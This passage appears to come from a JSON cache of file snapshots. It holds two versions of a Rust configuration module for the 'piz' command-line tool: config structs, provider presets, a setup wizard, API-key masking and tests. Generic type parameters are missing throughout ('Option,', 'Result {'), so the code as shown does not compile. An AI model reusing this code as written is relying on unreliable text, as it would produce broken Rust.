assert!(masked.contains(\"sk-t...3456\"));\n assert!(!masked.contains(\"sk-test-key-123456\"));\n assert!(masked.contains(\"gpt-4\"));\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n}\n"}, "40ad1a9abaea5a235ebf0fb7f70ad5fbfa61ce58": {"t": 1785760767.278497, "n": 17346, "h": "84b817ee5a9642f1", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n #[serde(default = \"default_cache_max_entries\")]\n pub cache_max_entries: usize,\n pub openai: Option,\n pub claude: Option,\n pub gemini: Option,\n pub ollama: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 168\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn default_cache_max_entries() -> usize {\n 1000\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result {\n let home = std::env::var(\"HOME\")\n .or_else(|_| std::env::var(\"USERPROFILE\"))\n .map(PathBuf::from)\n .ok()\n .or_else(|| dirs::home_dir())\n .context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 168\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\n \"[openai]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\n \"[claude]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = {}\\nmodel = {}\\n\",\n toml_escape(&host),\n toml_escape(&model)\n ))\n}\n\n/// Escape a string value for TOML output (handles quotes, backslashes, etc.)\nfn toml_escape(s: &str) -> String {\n let value = toml::Value::String(s.to_string());\n value.to_string()\n}\n\n/// Mask an API key for display: show first 4 and last 4 chars if long enough\npub fn mask_api_key(key: &str) -> String {\n if key.len() > 8 {\n format!(\"{}...{}\", &key[..4], &key[key.len() - 4..])\n } else {\n \"*\".repeat(key.len())\n }\n}\n\n/// Mask all api_key values in a TOML config string\npub fn mask_config_keys(content: &str) -> String {\n content\n .lines()\n .map(|line| {\n if let Some(idx) = line.find(\"api_key\") {\n if let Some(eq_idx) = line[idx..].find('=') {\n let before = &line[..idx + eq_idx + 1];\n let value_part = line[idx + eq_idx + 1..].trim();\n if value_part.starts_with('\"')\n && value_part.ends_with('\"')\n && value_part.len() > 2\n {\n let key = &value_part[1..value_part.len() - 1];\n return format!(\"{} \\\"{}\\\"\", before, mask_api_key(key));\n }\n }\n }\n line.to_string()\n })\n .collect::>()\n .join(\"\\n\")\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 168);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn mask_api_key_long() {\n assert_eq!(mask_api_key(\"sk-test-key-123456\"), \"sk-t...3456\");\n }\n\n #[test]\n fn mask_api_key_short() {\n assert_eq!(mask_api_key(\"short\"), \"*****\");\n }\n\n #[test]\n fn mask_api_key_exact_8() {\n assert_eq!(mask_api_key(\"12345678\"), \"********\");\n }\n\n #[test]\n fn mask_config_keys_masks_values() {\n let content = \"[openai]\\napi_key = \\\"sk-test-key-123456\\\"\\nmodel = \\\"gpt-4\\\"\";\n let masked = mask_config_keys(content);\n assert!(masked.contains(\"sk-t...3456\"));\n assert!(!masked.contains(\"sk-test-key-123456\"));\n assert!(masked.contains(\"gpt-4\"));\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n}\n"}, "f3fbd8df5c2af0119c63d036cf656b9de6d886bd": {"t": 1785760769.3526108, "n": 17201, "h": "a68202636c92266c", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n #[serde(default = \"default_cache_max_entries\")]\n pub cache_max_entries: usize,\n pub openai: Option,\n pub claude: Option,\n pub gemini: Option,\n pub ollama: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 168\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn default_cache_max_entries() -> usize {\n 1000\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result {\n let home = dirs::home_dir().context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 168\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\n \"[openai]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\n \"[claude]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = {}\\nmodel = {}\\n\",\n toml_escape(&host),\n toml_escape(&model)\n ))\n}\n\n/// Escape a string value for TOML output (handles quotes, backslashes, etc.)\nfn toml_escape(s: &str) -> String {\n let value = toml::Value::String(s.to_string());\n value.to_string()\n}\n\n/// Mask an API key for display: show first 4 and last 4 chars if long enough\npub fn mask_api_key(key: &str) -> String {\n if key.len() > 8 {\n format!(\"{}...{}\", &key[..4], &key[key.len() - 4..])\n } else {\n \"*\".repeat(key.len())\n }\n}\n\n/// Mask all api_key values in a TOML config string\npub fn mask_config_keys(content: &str) -> String {\n content\n .lines()\n .map(|line| {\n if let Some(idx) = line.find(\"api_key\") {\n if let Some(eq_idx) = line[idx..].find('=') {\n let before = &line[..idx + eq_idx + 1];\n let value_part = line[idx + eq_idx + 1..].trim();\n if value_part.starts_with('\"')\n && value_part.ends_with('\"')\n && value_part.len() > 2\n {\n let key = &value_part[1..value_part.len() - 1];\n return format!(\"{} \\\"{}\\\"\", before, mask_api_key(key));\n }\n }\n }\n line.to_string()\n })\n .collect::>()\n .join(\"\\n\")\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = 